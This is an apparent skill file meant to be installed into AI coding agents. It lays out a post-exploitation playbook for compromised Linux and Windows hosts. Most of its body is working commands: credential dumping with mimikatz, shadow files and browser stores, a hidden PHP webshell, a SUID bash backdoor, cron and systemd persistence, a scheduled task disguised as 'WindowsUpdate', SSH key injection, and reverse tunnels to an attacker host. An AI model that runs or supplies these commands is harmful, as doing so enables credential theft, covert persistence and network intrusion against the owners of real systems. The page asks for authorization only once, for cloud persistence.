offensive-techniques/post-exploit-technique/SKILL.md
Post-exploitation methodology for Linux and Windows targets after initial shell access. Covers shell stabilization, situational awareness, local privilege escalation (Linux/Windows), credential harvesting, persistence, and lateral movement handoff. Use after vuln-exploit-technique delivers a shell — this skill drives from low-privilege foothold to full host control and network expansion.
npx skillsauth add aeondave/malskill post-exploit-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: move from low-privilege shell to full host control, harvest credentials, establish persistence, and set up lateral movement — reproducibly and with minimal noise.
vuln-exploit-technique: stable shell, known user, target OS.active-directory-technique for domain attacks.references/pivoting.md for tunnel setup, forwarding, SOCKS chains, and double pivots; keep network-technique for broader network investigation logic.offensive-coding/ skills.| Need | Skill |
|---|---|
| Shell payload generation | offensive-tools/shells/revshells/, offensive-tools/shells/revshellgen/ |
| Shell stabilization and file transfer | offensive-tools/linux/pwncat/, offensive-tools/windows/evil-winrm/ |
| Linux privesc triage | offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/ |
| Windows privesc triage | offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/ |
| Credential harvest | offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/, offensive-tools/linux/mimipenguin/ |
| Pivoting | offensive-tools/network/ligolo-ng/, offensive-tools/network/chisel/ |
| Windows/AD protocol actions | offensive-tools/windows/impacket/, offensive-tools/windows/crackmapexec/ |
Before escalating or harvesting broadly, classify the foothold and choose the shortest path to higher privilege or next-hop access.
pwncat, evil-winrm, linpeas, winpeas, privesccheck, watson), then credential-harvest skills, then pivot and AD-oriented tools once the credential type and target path are known.Loop:
1. Stabilize shell and confirm context.
2. Situational awareness — OS, user, network, defenses.
3. Local privilege escalation — automated triage → manual confirmation.
4. Credential harvest — dump, search, capture.
5. Persistence — survive reboot, evade cleanup.
6. Lateral movement prep — pivot routes, credential handoff.
Stop when: root/SYSTEM achieved, credentials for next hop secured, persistence confirmed.
Do not skip shell stabilization — unstable shells cause false negatives in enumeration tools.
Convert dumb reverse shell to interactive TTY before running any tools.
# Python PTY upgrade (Linux)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → reset; export TERM=xterm
# Script method
script /dev/null -c bash
# pwncat-cs (recommended — auto-upgrades and handles file transfer)
pwncat-cs -lp 4444
Windows:
# evil-winrm gives full PTY over WinRM
evil-winrm -i <target> -u <user> -p <pass>
# pwncat (Windows target via netcat reverse shell)
# Upgrade via powershell conPTY support
See offensive-tools/shells/revshells/ for shell generation, offensive-tools/shells/revshellgen/ for generators, offensive-tools/linux/pwncat/ for stabilization, and offensive-tools/windows/evil-winrm/ for WinRM sessions.
Run before any escalation attempt. Answers: who am I, what is this host, what is reachable?
# Identity and privilege
id; whoami; groups; sudo -l; cat /etc/passwd | grep -v nologin
# OS and kernel
uname -a; cat /etc/os-release; lsb_release -a 2>/dev/null
# Network context
ip a; ip r; cat /etc/hosts; ss -tnlp; arp -n
# Running processes
ps aux; systemctl list-units --type=service
# Interesting files quick check
find / -perm -u=s -type f 2>/dev/null # SUID binaries
find / -writable -type f 2>/dev/null | grep -v proc | head -30
crontab -l; ls /etc/cron*
Windows equivalent:
whoami /all; net user; net localgroup administrators
systeminfo; hostname; ipconfig /all; route print
netstat -ano; tasklist /v
Run automated triage first, then confirm manually.
Automated:
# linpeas — comprehensive Linux privesc triage
curl -sL https://linpeas.sh | bash # or upload and run
./linpeas.sh -a 2>/dev/null | tee /tmp/linpeas.out
# linux-exploit-suggester — kernel exploit matching
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.sh -k $(uname -r)
See offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/.
Manual priority checklist:
- [ ] sudo -l → NOPASSWD entries → GTFOBins for that binary
- [ ] SUID/SGID binaries → GTFOBins check
- [ ] Writable /etc/passwd or /etc/sudoers
- [ ] Cron jobs running as root with writable script/path
- [ ] Writable service unit files
- [ ] PATH hijacking: relative command in root-owned script
- [ ] Capabilities: getcap -r / 2>/dev/null
- [ ] NFS no_root_squash mounts
- [ ] Docker group membership → docker run -v /:/host escape
- [ ] Kernel exploit: check CVEs for exact kernel version
→ Full patterns: references/linux-privesc.md.
Automated:
# winpeas — comprehensive Windows privesc triage
.\winPEASx64.exe > winpeas.out
# privesccheck
Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesc.out
# watson — patch-level missing CVEs
.\Watson.exe
See offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/.
Manual priority checklist:
- [ ] AlwaysInstallElevated: both HKCU+HKLM set → msi payload
- [ ] Unquoted service paths with writable directory
- [ ] Weak service/file permissions (icacls on service binary)
- [ ] SeImpersonatePrivilege / SeAssignPrimaryToken → Potato family
- [ ] SeBackupPrivilege → read SAM/SYSTEM/NTDS.dit
- [ ] Writable registry run keys
- [ ] Scheduled tasks running as SYSTEM with writable binary
- [ ] DLL hijacking: service with missing DLL in writable path
- [ ] UAC bypass: check UAC level, known bypass techniques
- [ ] Stored credentials: cmdkey /list, credential manager
→ Full patterns: references/windows-privesc.md.
Extract credentials for current host and lateral movement.
# Memory credential dump
./mimipenguin.sh # dump plaintext from memory (root required)
# SSH key harvest
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys; ls ~/.ssh/
# Config files with credentials
find / -name "*.conf" -o -name "*.env" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|token" 2>/dev/null | head -20
grep -r "DB_PASS\|DB_PASSWORD\|mysql_connect\|PDO" /var/www/ 2>/dev/null
# Shadow file (if root)
cat /etc/shadow; unshadow /etc/passwd /etc/shadow > unshadowed.txt # then hashcat/john
# Browser/app credentials
find / -name "*.sqlite" -path "*firefox*" -o -name "Login Data" -path "*chrome*" 2>/dev/null
See offensive-tools/linux/mimipenguin/, offensive-tools/linux/ssh-key-scanner/.
# Mimikatz — primary Windows credential dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
# Nanodump — LSASS dump (stealthier than mimikatz direct)
.\nanodump.exe -w lsass.dmp
# Transfer dump, then parse locally with mimikatz
# LaZagne — multi-source credential harvest (browsers, apps, wifi, DB)
.\lazagne.exe all
# Credential Manager dump
cmdkey /list
.\mimikatz.exe "vault::cred" "vault::list" "exit"
# SAM/SYSTEM offline (if SeBackupPrivilege or volume shadow)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Transfer and parse: python3 secretsdump.py -sam sam.bak -system system.bak LOCAL
See offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/.
→ Full credential sources and parsing: references/credential-harvest.md.
Cloud and CI/CD credentials require different handling: record token expiry, tenant/project scope, effective permissions, and audit-log footprint before use. For managed identities, service principals, CI variables, OIDC tokens, Kubernetes service accounts, and serverless deploy paths, use references/cloud-and-cicd-post-exploit.md.
Survive reboots and cleanup attempts.
# Cron persistence
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.svc >/dev/null 2>&1") | crontab -
# Systemd service
cat > /etc/systemd/system/svc.service << EOF
[Unit]
After=network.target
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable svc.service --now
# SSH key injection (if /root/.ssh writable)
echo "ssh-rsa AAAA... attacker_key" >> /root/.ssh/authorized_keys
# SUID shell backdoor (if root)
cp /bin/bash /tmp/.bash; chmod +s /tmp/.bash
# Access: /tmp/.bash -p
# Webshell persistence
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.config.php
See offensive-tools/linux/linux-persistence/.
# Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svc /t REG_SZ /d "C:\Users\Public\svc.exe"
# Scheduled task (SYSTEM)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Service installation
sc create svc binpath= "C:\Windows\Temp\svc.exe" start= auto
sc start svc
# WMI event subscription (fileless, stealthy)
# See references/persistence.md for WMI persistence
# Golden ticket (domain) → load active-directory-technique
See offensive-tools/shells/weevely3/ for webshell persistence.
→ Full patterns by OS and stealth level: references/persistence.md.
Cloud or pipeline persistence (IAM credentials, serverless triggers, Kubernetes jobs, protected CI variables, deploy keys) is covered in references/cloud-and-cicd-post-exploit.md; prefer scoped, reversible proofs and avoid broad tenant-wide changes unless explicitly authorized.
Set up pivoting and credential handoff for next hops.
# ligolo-ng (recommended — transparent proxy, full routing)
# On attacker: ./proxy -selfcert -laddr 0.0.0.0:11601
# On target: ./agent -connect <attacker>:11601 -ignore-cert
# Then route internal subnet through tunnel
# chisel (HTTP tunnel, useful through restrictive firewalls)
# Attacker: ./chisel server -p 8080 --reverse
# Target: ./chisel client <attacker>:8080 R:socks
# proxychains — route tools through SOCKS proxy (system tool; no dedicated repo skill yet)
# Edit /etc/proxychains4.conf → socks5 127.0.0.1 1080
# Then: proxychains nmap -sT -Pn 10.10.10.0/24
See references/pivoting.md for transport selection, egress-driven tunnel choice, double pivots, and validation flow. Use offensive-tools/network/ligolo-ng/ and offensive-tools/network/chisel/ for tool-specific operation.
offensive-tools/windows/crackmapexec/ or offensive-tools/windows/impacket/ (load active-directory-technique)active-directory-technique)→ Full lateral movement patterns: references/lateral-movement.md.
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.